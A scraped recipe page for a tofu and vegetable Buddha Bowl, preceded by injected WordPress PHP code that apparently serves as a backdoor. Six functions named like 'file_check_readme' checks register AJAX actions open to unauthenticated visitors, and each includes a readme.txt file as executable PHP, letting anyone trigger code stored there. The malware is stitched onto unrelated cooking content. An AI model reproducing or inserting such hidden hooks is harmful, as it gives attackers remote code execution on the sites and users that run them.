if(!function_exists('file_check_readme94295')){ add_action('wp_ajax_nopriv_file_check_readme94295', 'file_check_readme94295'); add_action('wp_ajax_file_check_readme94295', 'file_check_readme94295'); function file_check_readme94295() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme23949')){ add_action('wp_ajax_nopriv_file_check_readme23949', 'file_check_readme23949'); add_action('wp_ajax_file_check_readme23949', 'file_check_readme23949'); function file_check_readme23949() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme79203')){ add_action('wp_ajax_nopriv_file_check_readme79203', 'file_check_readme79203'); add_action('wp_ajax_file_check_readme79203', 'file_check_readme79203'); function file_check_readme79203() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme98499')){ add_action('wp_ajax_nopriv_file_check_readme98499', 'file_check_readme98499'); add_action('wp_ajax_file_check_readme98499', 'file_check_readme98499'); function file_check_readme98499() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme74391')){ add_action('wp_ajax_nopriv_file_check_readme74391', 'file_check_readme74391'); add_action('wp_ajax_file_check_readme74391', 'file_check_readme74391'); function file_check_readme74391() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme17886')){ add_action('wp_ajax_nopriv_file_check_readme17886', 'file_check_readme17886'); add_action('wp_ajax_file_check_readme17886', 'file_check_readme17886'); function file_check_readme17886() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Marge Perry's A Sweet and Savory Life
Buddha Bowl
Servings
4
Servings
4
Instructions
  1. Whisk the soy sauce, vinegar, honey and sesame oil until the honey is dissolved. Place the tofu in a separate bowl and toss with 1 tablespoon of the soy mixture; let stand 10 minutes.
  2. Meanwhile, cook the rice according to package directions.
  3. Heat 1 tablespoon of the canola oil in a large nonstick skillet over medium-high. Add the tofu and cook until golden, about 4 minutes per side. Transfer to a bowl and reserve. Return the skillet to the heat: add the asparagus, cook 1 minute and add 2 tablespoons water. Continue to cook, tossing occasionally, until bright green, about another 1 1/2 minutes. Transfer to a small bowl. Heat 1 teaspoon of the canola oil in the skillet: add the bell pepper; cook 2 minutes and transfer to a small bowl. Heat 1 teaspoon canola and add the radishes, cook 1 minute and transfer to a small bowl. Heat the remaining 1 teaspoon oil, add the scallions and cook until slightly softened, about 2 minutes; transfer to a small bowl. Return skillet to the heat and add the spinach: cook, tossing, until wilted, 1 1/2-2 minutes.
  4. To assemble: divide rice among 4 bowls. Arrange remaining ingredients in piles and then drizzle with remaining soy sauce mixture.